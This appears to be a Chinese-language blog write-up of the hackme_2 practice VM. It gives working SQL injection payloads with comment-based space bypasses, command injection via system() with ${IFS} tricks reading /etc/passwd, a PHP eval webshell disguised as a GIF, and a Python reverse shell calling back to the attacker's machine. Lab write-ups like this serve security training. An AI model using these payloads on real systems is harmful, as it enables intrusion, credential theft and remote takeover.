hackme_2 靶机详细讲解

目录

信息搜集

终端界面命令查找信息

使用命令查看局域网内使用的IP

查看开放的服务

扫描网页的目录

进入网页查找信息

登录网页

注册账号

返回登录进入

判断是否有SQL注入漏洞

模糊搜索

单引号判断法

拼接法

进行SQL注入

order by

union

MD5解密 

登录superadmin账户

尝试文件上传 

输入框命令注入

查看当前网页的php文件

文件上传

通过蚁剑连接

编写反弹shell

kali开启nc

提权

提权成功

总结


信息搜集

终端界面命令查找信息

使用命令查看局域网内使用的IP

arp-scan -l

 发现靶机10.4.7.132

查看开放的服务

nmap -T4 -sV -p- 10.4.7.132    #T4是速度,sV是服务,-p-是端口

 发现他开放了80端口和http服务,可能有网页

扫描网页的目录

dirb http://10.4.7.132

 只有一个目录可以访问10.4.7.132/index.php

 

进入网页查找信息

因为我的浏览器不知道为啥联动不了bp,所以直接在bp打开浏览器了。。。。。。。

登录网页

进入以后会自动跳转到登录页面

下方有个注册,我们先注册个账号

注册账号

 

返回登录进入

 

进入以后发现是个图书管理系统,可以搜索书籍

判断是否有SQL注入漏洞

先尝试单击按钮

模糊搜索

出现图书目录,尝试关键字搜索

先试试开头的字

发现可以显示书籍

再尝试使用后面的字

 

搜索的内容并没有回显,看来可能是模糊搜索

只不过没出现内容是因为:

select * from users like %osint% ;  这一种是输入任意包含字母都可以查出来

select * from users like osint% ;这种只对后面内容进行补全,所以他也使用了模糊查询    

单引号判断法
OSINT'        #OSINT是书的名字

使用单引号判断法

如果页面返回错误,则存在 SQL 注入。原因是无论字符型还是整型都会因为单引号个数不匹配而报错。

 没有回显,可能是对单引号进行了转义

拼接法

通常语句类型为select * from <表名> where id = 'x',我们通常构造and '1'='1’以及and '1'='2‘来判断是否存在注入漏洞

osint' and '1'='1';#

内容成功出现

osint' and '1'='2';#

内容消失,说明存在sql注入

进行SQL注入

order by

使用order by语句对回显的字段数进行查询

因为现在显示的字段是三个所以我们就按3个来查

osint' order by 3;#

没有回显,猜测可能是对空格进行了过滤

使用//,/**/尝试替换空格               这是一种常用手段,对空格进行过滤,不知道的可以baidu.com

经过测试发现只用/**/能成功

osint'/**/order/**/by/**/3;#

回显成功,再查看一下是否只有三个字段

没有回显,那看来就只有三个字段

union

通过构造联合查询,一步一步获取出数据库名,表名,列名和字段

查看现在的库名

osint%'/**/union/**/select/**/database(),2,3/**/like'

借助information_schema数据库再次进一步深挖数据库信息

其中存放表名的数据表为tables 、 存放字段名的数据表为columns

查询webapphacking数据库中的表格

osint%'/**/union/**/select/**/group_concat(table_name),2,3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'webapp

发现有books和users两个表格  

查询users表中的字段  

osint%'/**/union/**/select/**/group_concat(column_name),2,3/**/from/**/information_schema.columns/**/where/**/table_name='users'and/**/table_schema/**/like'

发现有user和password字段

查看这两个字段中的内容

osint%'/**/union/**/select/**/group_concat(user),group_concat(pasword),3/**/from/**/users/**/where/**/'1'/**/like/**/'

可以发现superadmin账户和他的密码

只不过密码被md5加密了

MD5解密 

自己找个网站就可以解密了

最后解密出来的结果是Uncrackable

也就是账号:superadmin 密码:Uncrackable

登录superadmin账户

登录进去以后发现有文件上传输入框

尝试文件上传 

先尝试直接上传php的一句话木马

通过bp拦截

发现上传失败,只能上传特定后缀的文件

上传jpg文件

上传成功了,保存到了uploaded这个文件夹里面

可是我们并没有找到这个文件夹在哪,所以只能先作罢,尝试其他方法

输入框命令注入

两个输入框可能存在命令注入

可以发现在Last Name输入框里输入7*7,可以返回49

使用bp拦截在Last Name行使用名令

system('whoami')

发现可以执行命令 

但是在进一步执行命令中却没有回显

猜测,可能是因为过滤空格的原因

绕过空格有很多种方法类似于:

< ----> 重定向,如cat<flag.php

<> ----> 重定向,如cat<>flag.php

%09 ----> 需要php环境,如cat%09flag.php

${IFS} ----> 单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php$IFS$9 ----> 后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php

经过实验发现只有两种方法可以绕过

system('cat${IFS}/etc/passwd') 

system('cat$IFS$9/etc/passwd')

查看当前网页的php文件

可以看到网页的源码和文件上传的目录

system('cat${IFS}welcomeadmin.php')

这样的话我们就发现了文件上传的目录了

文件上传

创建一个jpg文件然后打开方式是记事本输入一句话木马

GIF89a<?php @eval($_POST["shell"]); ?>

拖到kali把文件上传

上传成功               

为什么不在这里改后缀呢?因为之前已经试过了.php是没办法上传的所以我们需要命令来对靶机目录中的zzx.jpg进行修改成为zzx.php

在下方的输入框进行抓包然后替换成我们的修改文件名称的命令

system('mv${IFS}/var/www/html/uploads/year2020/zzx.jpg${IFS}/var/www/html/uploads/year2020/zzx.php')

修改成功,测试一下进入这个文件

通过蚁剑连接

连接成功

编写反弹shell

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("你kali的IP",nc开放的端口))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

上传反弹shell

kali开启nc

蚁剑打开终端启动反弹shell的文件nc.py

提权

反弹成功

先查看自己的home

发现有个文件夹legacy

进入legacy文件夹查看有什么信息

只有一个二进制文件touchmenot

开启这个文件

提权成功

总结

前面的空格过滤有意思但是结尾的提权只是找到个文件就提权了

高开低走,烂尾了。。。。。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值